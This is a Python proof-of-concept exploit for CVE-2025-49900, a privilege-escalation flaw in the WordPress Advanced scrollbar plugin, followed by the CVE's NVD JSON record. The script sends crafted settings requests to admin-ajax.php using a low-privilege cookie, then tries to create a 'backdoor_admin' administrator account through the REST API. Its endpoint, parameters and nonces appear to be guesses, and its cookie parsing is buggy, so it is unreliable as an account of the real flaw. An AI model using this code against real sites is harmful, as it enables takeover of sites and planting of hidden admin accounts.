CVE-2025-49900

# CVE-2025-49900 PoC - WordPress Advanced scrollbar Privilege Escalation # Target: WordPress site with Advanced scrollbar plugin <= 1.1.8 # Author: Security Researcher import requests import sys from urllib.parse import urljoin def exploit_privilege_escalation(target_url, low_priv_cookie): """ Exploits CVE-2025-49900 to perform privilege escalation """ # Step 1: Identify vulnerable endpoint ajax_endpoint = urljoin(target_url, '/wp-admin/admin-ajax.php') # Step 2: Exploit the privilege assignment flaw # This payload attempts to access admin-only functionality exploit_data = { 'action': 'advanced_scrollbar_save_settings', 'option_page': 'advanced_scrollbar_options', 'advanced_scrollbar[admin_capability]': 'manage_options', 'advanced_scrollbar[user_roles][]': 'administrator', 'nonce': 'exploit_nonce_here' # Attacker would obtain via social engineering or other means } # Step 3: Send exploit request with low-privilege cookie try: response = requests.post( ajax_endpoint, data=exploit_data, cookies=low_priv_cookie, headers={'Content-Type': 'application/x-www-form-urlencoded'} ) if response.status_code == 200: print('[+] Exploit sent successfully') print('[+] Check if privileges were escalated') else: print('[-] Exploit failed with status:', response.status_code) except requests.exceptions.RequestException as e: print('[-] Request failed:', str(e)) def create_admin_account(target_url, cookie): """ Creates a new administrator account after privilege escalation """ api_endpoint = urljoin(target_url, '/wp-json/wp/v2/users/') new_admin = { 'username': 'backdoor_admin', 'email': '[email protected]', 'password': 'P@ssw0rd123!', 'roles': 'administrator' } # This requires successful privilege escalation to work headers = { 'Content-Type': 'application/json', 'X-WP-Nonce': 'obtained_nonce' # Would need valid nonce after escalation } response = requests.post( api_endpoint, json=new_admin, cookies=cookie, headers=headers ) return response.status_code == 201 if __name__ == '__main__': if len(sys.argv) < 3: print('Usage: python cve-2025-49900.py <target_url> <low_priv_cookie>') sys.exit(1) target = sys.argv[1] cookie = {'wordpress_test_cookie': 'WP+Cookie+check'} # Parse provided cookie string cookie.update(dict(cookie.split('=') for cookie in sys.argv[2].split('; '))) exploit_privilege_escalation(target, cookie) # Note: This is a conceptual PoC. Actual exploitation requires: # 1. Valid low-privilege WordPress account # 2. Plugin version <= 1.1.8 # 3. Understanding of specific vulnerable endpoints # 4. Proper nonce values and request construction

{"cve": {"id": "CVE-2025-49900", "sourceIdentifier": "[email protected]", "published": "2025-11-06T16:15:54.070", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incorrect Privilege Assignment vulnerability in bPlugins Advanced scrollbar advanced-scrollbar allows Privilege Escalation.This issue affects Advanced scrollbar: from n/a through <= 1.1.8."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-266"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/advanced-scrollbar/vulnerability/wordpress-advanced-scrollbar-plugin-1-1-8-privilege-escalation-vulnerability?_s_id=cve", "source": "[email protected]"}]}}